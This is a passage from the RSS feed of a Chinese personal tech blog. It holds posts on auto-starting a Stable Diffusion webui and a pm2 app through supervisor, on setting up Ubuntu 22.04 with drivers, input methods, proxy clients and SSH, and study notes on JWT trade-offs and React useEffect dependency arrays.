</span></span><span class="line"><span class="cl"><span class="nv">startretries</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="nv">startsecs</span><span class="o">=</span><span class="m">300</span>
</span></span><span class="line"><span class="cl"><span class="nv">stdout_logfile</span><span class="o">=</span>/dev/stdout
</span></span><span class="line"><span class="cl"><span class="nv">stdout_logfile_maxbytes</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl"><span class="nv">stdout_events_enabled</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">stderr_events_enabled</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">stopasgroup</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">killasgroup</span><span class="o">=</span><span class="nb">true</span>
</span></span></code></pre></div></li>
<li>那么刚才的问题得到了解答，开机自启的是<code>supervisor.service</code>，然后supervisor将<code>stable_diffusion_webui</code>给启动了</li>
<li><code>/usr/local/bin/launch_stable_diffusion_webui.sh</code>这个文件内容是
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="nb">source</span> /mnt/application_env.txt
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /root/stable-diffusion-webui/ <span class="o">&amp;&amp;</span> python3 -u launch.py --skip-prepare-environment --xformers --listen --enable-insecure-extension-access --port<span class="o">=</span><span class="nv">$STABLE_DIFFUSION_WEBUI_PORT</span> 2&gt;<span class="p">&amp;</span><span class="m">1</span> <span class="p">|</span> tee -a /var/log/sd_service.log<span class="sb">`</span>
</span></span></code></pre></div></li>
</ol>
<h2 id="开机自启">开机自启</h2>
<p>找到了它开机自启动服务的办法，那么就可以利用它来实现我想要的开机自启。</p>
<ol>
<li>先写了个脚本<code>/usr/local/bin/check_and_start_pm2.sh</code>:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="c1"># 进入程序目录</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /path/to/SD-server/stable-difussion-server/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 检查 pm2 中是否已有名为 &#34;app&#34; 的程序</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! pm2 list <span class="p">|</span> grep -q <span class="s1">&#39;app&#39;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 如果没有，启动 pm2 进程</span>
</span></span><span class="line"><span class="cl">    pm2 start <span class="s2">&#34;node --env-file=.env app.js&#34;</span> --name app
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;PM2 process &#39;app&#39; is already running.&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span></code></pre></div><ol start="2">
<li>给权限<code>chmod +x /usr/local/bin/check_and_start_pm2.sh</code></li>
<li>改<code>/etc/supervisord.conf</code>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">[</span>program:stable_diffusion_webui<span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="nv">command</span><span class="o">=</span>/usr/local/bin/check_and_start_pm2.sh
</span></span><span class="line"><span class="cl"><span class="nv">autostart</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">autorestart</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">numprocs</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="nv">redirect_stderr</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">startretries</span><span class="o">=</span><span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="nv">startsecs</span><span class="o">=</span><span class="m">300</span>
</span></span><span class="line"><span class="cl"><span class="nv">stdout_logfile</span><span class="o">=</span>/dev/stdout
</span></span><span class="line"><span class="cl"><span class="nv">stdout_logfile_maxbytes</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl"><span class="nv">stdout_events_enabled</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">stderr_events_enabled</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">stopasgroup</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">killasgroup</span><span class="o">=</span><span class="nb">true</span>
</span></span></code></pre></div></li>
<li>重新加载 supervisord 配置
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">supervisorctl reread
</span></span><span class="line"><span class="cl">supervisorctl update
</span></span></code></pre></div></li>
<li>这里我还踩到了自己挖的一个坑，<code>/usr/local/bin/check_and_start_pm2.sh</code>文件首行我是写<code>#!/bin/bash</code>，但我nvm是在zsh上装的，于是pm2在bash环境下就识别不到，再加上就行了。 <code>export PATH=$PATH:/root/.nvm/versions/node/v20.16.0/bin</code></li>
</ol>
<h2 id="体验">体验</h2>
<p>之前用过好几家国内的云服务器，最大的感受是ui很糟糕，然后就是费劲折腾的网络。</p>
<p>但这次体验却着实不赖，因为有了“学术加速”，呵呵。</p>
<h2 id="特别鸣谢">特别鸣谢</h2>
<p>感谢ChatGPT! 它省去了不少我查文档的功夫。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>从零开始的ubuntu使用</title>
      <link>https://ds63.eu.org/2024/ubuntu-experience-in-a-different-world-from-zero/</link>
      <pubDate>Wed, 07 Aug 2024 15:37:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/ubuntu-experience-in-a-different-world-from-zero/</guid>
      <description>Long may the Jammy Jellyfish!</description>
      <content:encoded><![CDATA[<p><strong>Ubuntu对我来说是一个既熟悉又陌生的系统。过去几年来，接触得最多的Linux系统就是它了。但除了wsl，虚拟机，云服务器，我还真没正儿八经的从零开始使用过。最近刚好有机会从装系统开始从零使用，以下记录我踩过的各种坑。</strong></p>
<h2 id="安装">安装</h2>
<ul>
<li><a href="https://blog.csdn.net/2401_84064328/article/details/137232169"  target="_blank" rel="noopener" >Windows11 + Linux (Ubuntu22.04) 双系统最简安装详细避坑版_win11安装linux双系统-CSDN博客</a></li>
<li><a href="https://releases.ubuntu.com/jammy/"  target="_blank" rel="noopener" >Ubuntu 22.04.4 LTS (Jammy Jellyfish)</a></li>
<li>踩坑到怀疑人生后，最后放弃使用24.04，回退到22.04,原本寸步难行的泥泞沼泽也成了康庄大道,赞美Jammy Jellyfish。</li>
</ul>
<h2 id="安装wifi驱动">安装wifi驱动</h2>
<p>无果。我使用的主版官网上只提供了win11或win10的驱动。网上找的几种办法，包括更新内核，都没能成功。放弃。</p>
<ul>
<li>更新内核后报错 <code>bad shim signature &amp; load the kernel first</code>
<a href="https://www.reddit.com/r/linux4noobs/comments/10152n7/how_to_fix_bad_shim_signature_load_the_kernel/"  target="_blank" rel="noopener" >How to fix &ldquo;bad shim signature &amp; load the kernel first&rdquo; errors on my triple boot setup? : r/linux4noobs</a></li>
</ul>
<h2 id="安装显卡驱动">安装显卡驱动</h2>
<ol>
<li>菜单栏找到 <code>Additional drivers</code>,点击安装</li>
<li><code>nvidia-smi</code> 检查是否安装成功</li>
</ol>
<h2 id="查看配置">查看配置</h2>
<ol>
<li><a href="https://blog.csdn.net/lxfHaHaHa/article/details/95769201"  target="_blank" rel="noopener" >查看ubuntu服务器的配置（cpu+显卡+内存+硬盘）_ubuntu查看服务器配置-CSDN博客</a></li>
</ol>
<h2 id="中文输入法">中文输入法</h2>
<p>参考以下几篇</p>
<ul>
<li><a href="https://blog.csdn.net/fr16021028/article/details/125891812"  target="_blank" rel="noopener" >Ubuntu中文设置与安装中文输入法（超详细）_ubuntu中文输入法安装-CSDN博客</a></li>
<li><a href="https://hk.v2ex.com/t/1055546"  target="_blank" rel="noopener" >各位 Linux 用的输入法都是？ - V2EX</a></li>
<li><a href="https://github.com/iDvel/rime-ice"  target="_blank" rel="noopener" >iDvel/rime-ice: Rime 配置：雾凇拼音 | 长期维护的简体词库</a></li>
</ul>
<h2 id="代理">代理</h2>
<ul>
<li><a href="https://v2ex.com/t/988113"  target="_blank" rel="noopener" >求助， Linux 如何使用全局代理？ - V2EX</a></li>
<li>ShellCrash
<ul>
<li><a href="https://github.com/juewuy/ShellCrash"  target="_blank" rel="noopener" >juewuy/ShellCrash: Run sing-box/mihomo as client in shell</a></li>
</ul>
</li>
<li>v2rayA
<ul>
<li><a href="https://github.com/v2rayA/v2rayA"  target="_blank" rel="noopener" >v2rayA/v2rayA: A web GUI client of Project V which supports VMess, VLESS, SS, SSR, Trojan, Tuic and Juicity protocols. 🚀</a></li>
<li><a href="https://www.sky350.com/1210.html"  target="_blank" rel="noopener" >V2RayA——新一代Linux客户端安装配置教程 | SKY博客</a></li>
<li><a href="https://v2raya.org/en/docs/prologue/installation/debian/#start-v2raya--enable-v2raya-start-automatically"  target="_blank" rel="noopener" >Debian / Ubuntu - v2rayA</a></li>
<li><a href="https://v2raya.org/en/docs/prologue/installation/debian/"  target="_blank" rel="noopener" >Debian / Ubuntu - v2rayA</a>
<ol>
<li><code>wget -qO - https://apt.v2raya.org/key/public-key.asc | sudo tee /etc/apt/keyrings/v2raya.asc</code></li>
<li><code>echo &quot;deb [signed-by=/etc/apt/keyrings/v2raya.asc] https://apt.v2raya.org/ v2raya main&quot; | sudo tee /etc/apt/sources.list.d/v2raya.list</code></li>
<li><code>sudo apt update</code></li>
<li><code>sudo apt install v2raya v2ray</code></li>
<li><code>sudo systemctl start v2raya.service</code></li>
</ol>
</li>
</ul>
</li>
<li>dae
<ul>
<li><a href="https://v2ex.com/t/982840"  target="_blank" rel="noopener" >V2 上关于 dae（大鹅）（ebpf）的讨论还是比较少啊，完美的旁路科学方案了吧？ - V2EX</a></li>
<li><a href="https://github.com/daeuniverse/dae/blob/main/docs/zh/how-it-works.md"  target="_blank" rel="noopener" >dae/docs/zh/how-it-works.md at main · daeuniverse/dae</a></li>
<li><a href="https://github.com/daeuniverse/dae/tree/main/docs/zh"  target="_blank" rel="noopener" >dae/docs/zh at main · daeuniverse/dae</a></li>
<li><a href="https://github.com/daeuniverse/dae/issues/468"  target="_blank" rel="noopener" >[Bug Report] <!-- raw HTML omitted -->Ubuntu 启动不起来 · Issue #468 · daeuniverse/dae</a></li>
</ul>
</li>
<li>electron-ssr
<ul>
<li><a href="https://github.com/shadowsocksrr/electron-ssr"  target="_blank" rel="noopener" >shadowsocksrr/electron-ssr: Shadowsocksr client using electron</a></li>
<li><a href="https://victrid.dev/2020/linux-pei-zhi-ssr/"  target="_blank" rel="noopener" >linux配置SSR | Victrid&rsquo;s Personal Site</a></li>
</ul>
</li>
<li>clash
<ul>
<li><a href="https://victrid.dev/2021/pei-zhi-tou-ming-dai-li-shi-xian-wu-gan-shang-wang/"  target="_blank" rel="noopener" >配置透明代理，实现无感上网 | Victrid&rsquo;s Personal Site</a></li>
</ul>
</li>
</ul>
<p>ps: 在这上折腾最久，最终使用的是v2raya。</p>
<h2 id="ssh">ssh</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt update <span class="o">&amp;&amp;</span> sudo apt upgrade
</span></span><span class="line"><span class="cl">sudo apt install openssh-server
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now ssh
</span></span></code></pre></div><ul>
<li><a href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh"  target="_blank" rel="noopener" >Connecting to GitHub with SSH - GitHub Docs</a></li>
</ul>
<h2 id="杂">杂</h2>
<ul>
<li><a href="https://www.reddit.com/r/archlinux/comments/11dqzj0/weird_error_when_shutting_down_after_update/"  target="_blank" rel="noopener" >Weird error when shutting down after update : r/archlinux</a></li>
<li><a href="https://juejin.cn/post/7097032561092165640"  target="_blank" rel="noopener" >查看Linux系统架构的命令，查看linux系统是哪种架构：AMD、ARM、x86、x86_64、pcc 或 查看Ubuntu的版本号 - 掘金</a></li>
</ul>
<h2 id="steam">steam</h2>
<p>之前看SteamDeck用的系统是Linux魔改，以为现在Linux上跑游戏很成熟了，但自己实际体验后，发现支持Linux的还不算多。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习jwt</title>
      <link>https://ds63.eu.org/2024/learn_jwt/</link>
      <pubDate>Sun, 04 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_jwt/</guid>
      <description>熟悉又陌生</description>
      <content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>JWT，我并不陌生。但如何去权衡其中利弊，根据不同需求去决定是否使用，如何使用，我还是一知半解，于是希望通过此篇来进一步学习</p>
<hr>
<h2 id="基于token的认证方式">基于token的认证方式</h2>
<ol>
<li>用户向服务器发送用户名和密码。</li>
<li>服务器将相关数据，比如用户 ID，认证有效期等信息签名后生成 token 返回给客户端。</li>
<li>客户端将 token 写入本地存储。</li>
<li>用户随后的每一次请求，都将 token 附加到 header 中。</li>
<li>服务端获取到用户请求的 header，拿到用户数据并且做签名校验，如果校验成功则说明数据没有被篡改，是有效的，确认 token 在有效期内，用户数据就是有效的。</li>
</ol>
<hr>
<h2 id="组成">组成</h2>
<ul>
<li>header</li>
<li>payload</li>
<li>signature</li>
</ul>
<hr>
<h2 id="存在的问题">存在的问题：</h2>
<ol>
<li>Token Expiration
<ul>
<li>Revoked Token Database                   |</li>
<li>Additional DB calls</li>
</ul>
</li>
<li>Token Revocation Problem
<ul>
<li>Inability to easily revoke tokens</li>
<li>Lack of real-time revocation</li>
</ul>
</li>
<li>Length of Tokens
<ul>
<li>Potential URL and cookie length issues</li>
<li>Sending large volumes of data</li>
</ul>
</li>
<li>Need for State Maintenance
<ul>
<li>Need to maintain user state</li>
<li>Limited statelessness</li>
</ul>
</li>
<li>Security and Encryption
<ul>
<li>Potential vulnerabilities</li>
<li>Lack of encryption for payload</li>
</ul>
</li>
</ol>
<hr>
<h2 id="使用时需要注意的点">使用时需要注意的点</h2>
<p>摘自 <a href="https://blog.fatedier.com/2020/03/28/golang-jwt/"  target="_blank" rel="noopener" >Golang 中使用 JWT 做用户认证</a></p>
<blockquote>
<ul>
<li>由于 jwt 返回的 Token 中的数据仅做了 Base64 处理，没有加密，所以不应放入重要的信息。</li>
<li>jwt Token 由于是无状态的，任何获取到此 Token 的人都可以访问，所以为了减少盗用，可以将 Token 有效期设置短一些。对一些重要的操作，尽量再次进行认证。</li>
<li>网站尽量使用 HTTPS，可以减少 Token 的泄漏。</li>
</ul>
</blockquote>
<h2 id="有办法使一个在有效期内的jwt废弃掉吗">有办法使一个在有效期内的JWT废弃掉吗</h2>
<p>wip</p>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/Vcj3Jj0PANSnqXgt4CsF2Q"  target="_blank" rel="noopener" >决定放弃使用JWT了！</a></li>
<li><a href="https://www.51cto.com/article/624093.html"  target="_blank" rel="noopener" >『JWT』有人让你赶快用它，有人劝你放弃它-有人让我</a></li>
<li><a href="https://segmentfault.com/q/1010000010043871"  target="_blank" rel="noopener" >jwt - 在退出登录 / 修改密码时怎样实现JWT Token失效？ - SegmentFault 思否</a></li>
<li><a href="https://hasura.io/blog/best-practices-of-using-jwt-with-graphql"  target="_blank" rel="noopener" >The Ultimate Guide to handling JWTs on frontend clients (GraphQL)</a></li>
<li><a href="https://blog.fatedier.com/2020/03/28/golang-jwt/"  target="_blank" rel="noopener" >Golang 中使用 JWT 做用户认证</a></li>
<li><a href="https://juejin.cn/post/7238921098808475705"  target="_blank" rel="noopener" >JWT真的安全吗？如何解决该问题 - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习useEffect</title>
      <link>https://ds63.eu.org/2024/learn_useeffect/</link>
      <pubDate>Sun, 04 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_useeffect/</guid>
      <description>再次学习useEffect;再次学习useEffect;</description>
      <content:encoded><![CDATA[<h2 id="原因">原因</h2>
<p>最近还是发现自己在使用useEffect时有疑惑，深感有必要进一步去学习useEffect的使用。</p>
<hr>
<h2 id="疑惑一">疑惑一</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">[</span><span class="nx">variable</span><span class="p">,</span><span class="nx">setVariable</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 这样写有必要吗？
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">useEffect</span><span class="p">(</span><span class="nx">_</span> <span class="p">=&gt;{},[])</span>
</span></span></code></pre></div><ul>
<li>没必要，没意义</li>
</ul>
<hr>
<h2 id="疑惑二-依赖数组到底该写些啥">疑惑二: 依赖数组到底该写些啥</h2>
<h3 id="概念">概念:</h3>
<ul>
<li>依赖数组：用来告诉 React 这个 useEffect 何时应该运行。依赖数组中的每一项会被监控，当这些值发生变化时，副作用函数会重新运行。</li>
<li>依赖数组中的典型值
<ol>
<li>状态（state）：如果副作用依赖于某个 useState 的值，应该将其包含在依赖数组中。</li>
<li>props：当副作用依赖于某个 props，应该将其包含在依赖数组中。</li>
<li>函数或其他变量：如果副作用依赖于某个函数或者计算出来的变量，也应该包括在依赖数组中。</li>
</ol>
</li>
<li>依赖数组中尽量不要有<code>object</code>或<code>array</code>等引用变量</li>
</ul>
<h3 id="错误示范">错误示范:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ChatRoom</span><span class="p">({</span> <span class="nx">articleId</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">article</span><span class="p">,</span> <span class="nx">setArticle</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// options 會在每次渲染時重新創建
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">serverUrl</span><span class="o">:</span> <span class="s1">&#39;https://localhost:1234&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">articleId</span><span class="o">:</span> <span class="nx">articleId</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">getArticle</span><span class="p">(</span><span class="nx">options</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setArticle</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// options 每次渲染時值都不同，因此觸發 useEffect 執行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">},</span> <span class="p">[</span><span class="nx">options</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="正确示范">正确示范:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ChatRoom</span><span class="p">({</span> <span class="nx">articleId</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">article</span><span class="p">,</span> <span class="nx">setArticle</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	  <span class="kr">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	    <span class="nx">serverUrl</span><span class="o">:</span> <span class="s1">&#39;https://localhost:1234&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	    <span class="nx">articleId</span><span class="o">:</span> <span class="nx">articleId</span>
</span></span><span class="line"><span class="cl">	  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">getArticle</span><span class="p">(</span><span class="nx">options</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setArticle</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">articleId</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://betterprogramming.pub/stop-lying-to-react-about-missing-dependencies-10612e9aeeda"  target="_blank" rel="noopener" >Stop Lying to React About Missing Dependencies | by Jack Taylor | Better Programming</a></li>
<li><a href="https://juejin.cn/post/7327832105328574514"  target="_blank" rel="noopener" >&ldquo;React中useEffect的依赖数组：空数组与不写数组的区别&rdquo;- 掘金</a></li>
</ul>
<hr>
<h2 id="疑惑三-依赖数组为空和不传有区别吗">疑惑三: 依赖数组为空和不传有区别吗?</h2>
<h3 id="概念-1">概念</h3>
<ul>
<li>当依赖数组为空时（<code>[]</code>），useEffect中的回调函数<strong>只会在组件挂载和卸载时执行</strong>。这意味着它只会执行一次，类似于类组件中的<code>componentDidMount</code>和<code>componentWillUnmount</code>。</li>
<li>当<strong>不传入</strong>依赖数组时，useEffect中的回调函数会在每次组件渲染时都执行。这意味着它会在<strong>组件挂载、更新和卸载时</strong>都执行。</li>
</ul>
<h3 id="示例-依赖数组为空">示例: 依赖数组为空</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//10秒内连续点击按钮5次，控制台的输出结果是什么
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span> <span class="mi">10</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},[])</span> 
</span></span><span class="line"><span class="cl">  <span class="c1">//控制台只会输出一个0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//因为count更新只是组件状态更新，而此时的useeffect只在组件加载和卸载时候执行只执行一次
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  
</span></span><span class="line"><span class="cl">   <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;{</span><span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span><span class="o">+</span><span class="mi">1</span><span class="p">)}}</span><span class="o">&gt;</span><span class="nx">点击count加1</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span></code></pre></div><h3 id="示例-不传入依赖数组">示例: 不传入依赖数组</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//10秒内连续点击按钮5次，控制台的输出结果是什么
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span> <span class="mi">10</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span> 
</span></span><span class="line"><span class="cl">  <span class="c1">//控制台只会输出0，1，2，3，4，5
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//因为count更新，组件状态更新会重新渲染组件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//而此时的useeffect在组件更新渲染的时候都会执行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//所以会执行对应的点击次数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//在控制台中打印对应的次数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  
</span></span><span class="line"><span class="cl">   <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;{</span><span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span><span class="o">+</span><span class="mi">1</span><span class="p">)}}</span><span class="o">&gt;</span><span class="nx">点击count加1</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span></code></pre></div><h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7327832105328574514"  target="_blank" rel="noopener" >&ldquo;React中useEffect的依赖数组：空数组与不写数组的区别&rdquo;- 掘金</a></li>
</ul>
<hr>
<h2 id="疑惑四-依赖数组是怎么比较的">疑惑四: 依赖数组是怎么比较的</h2>
<h3 id="概念-2">概念</h3>
<ul>
<li>使用<code>Object.is</code>来进行比较,如果依赖数组中任意一值与前一次不用，就会重新执行</li>
<li><code>Object.is</code>和<code>===</code>的唯一区别在于它们处理带符号的 0 和 NaN 值的时候。=== 运算符（和 == 运算符）将数值 -0 和 +0 视为相等，但是会将 NaN 视为彼此不相等。</li>
<li><code>===</code> 不执行类型转换。它将验证被比较的变量是否具有相同的值和相同的类型。</li>
</ul>
<h3 id="实现usedeepcompareeffect">实现<code>useDeepCompareEffect</code></h3>
<ul>
<li>先用useRef取得前一次的值，然后再调用深比较函数对比前后的值</li>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useRef</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">type</span> <span class="p">{</span> <span class="nx">DependencyList</span><span class="p">,</span> <span class="nx">useEffect</span><span class="p">,</span> <span class="nx">useLayoutEffect</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">isEqual</span> <span class="nx">from</span> <span class="s1">&#39;lodash/isEqual&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">type</span> <span class="nx">EffectHookType</span> <span class="o">=</span> <span class="k">typeof</span> <span class="nx">useEffect</span> <span class="o">|</span> <span class="k">typeof</span> <span class="nx">useLayoutEffect</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">type</span> <span class="nx">CreateUpdateEffect</span> <span class="o">=</span> <span class="p">(</span><span class="nx">hook</span><span class="o">:</span> <span class="nx">EffectHookType</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">EffectHookType</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">depsEqual</span> <span class="o">=</span> <span class="p">(</span><span class="nx">aDeps</span><span class="o">:</span> <span class="nx">DependencyList</span> <span class="o">=</span> <span class="p">[],</span> <span class="nx">bDeps</span><span class="o">:</span> <span class="nx">DependencyList</span> <span class="o">=</span> <span class="p">[])</span> <span class="p">=&gt;</span> <span class="p">{</span>
